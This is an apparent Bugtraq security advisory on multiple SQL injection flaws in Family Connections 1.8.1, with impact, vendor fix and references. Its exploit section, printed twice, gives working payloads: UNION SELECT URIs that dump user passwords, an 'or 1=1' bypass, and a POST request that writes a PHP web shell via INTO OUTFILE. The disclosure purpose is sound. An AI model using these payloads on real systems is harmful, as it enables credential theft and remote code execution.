Family Connections Multiple SQL Injection Vulnerabilities
BID:34297
Info
Family Connections Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 34297 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 30 2009 12:00AM |
| Updated: | Apr 01 2009 05:36PM |
| Credit: | Salvatore "drosophila" Fresta |
| Vulnerable: |
Haudenschilt Family Connections 1.8.1 |
| Not Vulnerable: |
Haudenschilt Family Connections 1.8.2 |
Discussion
Family Connections Multiple SQL Injection Vulnerabilities
Family Connections is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Versions prior to Family Connections 1.8.2 are vulnerable.
Family Connections is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Versions prior to Family Connections 1.8.2 are vulnerable.
Exploit / POC
Family Connections Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs, data, and exploit are available:
http://www.example.com/path/addressbook.php?letter=-1%25' UNION ALL SELECT 1,2,NULL,username,5,password,email FROM fcms_users%23
http://www.example.com/path/recipes.php?category=1&id=1 UNION SELECT 1,2,username,password,5,6 FROM fcms_users
http://www.example.com/path/activate.php?uid=1 or 1=1&code=
POST /path/lostpw.php HTTP/1.1\r\n"
Host: www.site.com\r\n"
Content-Type: application/x-www-form-urlencoded\r\n"
Content-Length: 193\r\n\r\n"
email=-1' UNION ALL SELECT '<?php echo "<pre>"; system($_GET[cmd]);
echo "</pre><br><br>";?>',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
INTO OUTFILE '/var/www/htdocs/path/rce.php'#
Attackers can use a browser to exploit these issues.
The following example URIs, data, and exploit are available:
http://www.example.com/path/addressbook.php?letter=-1%25' UNION ALL SELECT 1,2,NULL,username,5,password,email FROM fcms_users%23
http://www.example.com/path/recipes.php?category=1&id=1 UNION SELECT 1,2,username,password,5,6 FROM fcms_users
http://www.example.com/path/activate.php?uid=1 or 1=1&code=
POST /path/lostpw.php HTTP/1.1\r\n"
Host: www.site.com\r\n"
Content-Type: application/x-www-form-urlencoded\r\n"
Content-Length: 193\r\n\r\n"
email=-1' UNION ALL SELECT '<?php echo "<pre>"; system($_GET[cmd]);
echo "</pre><br><br>";?>',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
INTO OUTFILE '/var/www/htdocs/path/rce.php'#
Solution / Fix
Family Connections Multiple SQL Injection Vulnerabilities
Solution:
The vendor has released updates. Please contact the vendor for details.
Haudenschilt Family Connections 1.8.1
Solution:
The vendor has released updates. Please contact the vendor for details.
Haudenschilt Family Connections 1.8.1
-
Haudenschilt FCMS_1.8.2.zip
http://downloads.sourceforge.net/fam-connections/FCMS_1.8.2.zip
References
Family Connections Multiple SQL Injection Vulnerabilities
References:
References:
- Family Connections Homepage (Family Connections)
- Family Connections 1.8.1 Multiple Remote Vulnerabilities ("Salvatore \"drosophila\" Fresta"
) - Re: Family Connections 1.8.1 Multiple Remote Vulnerabilities ([email protected])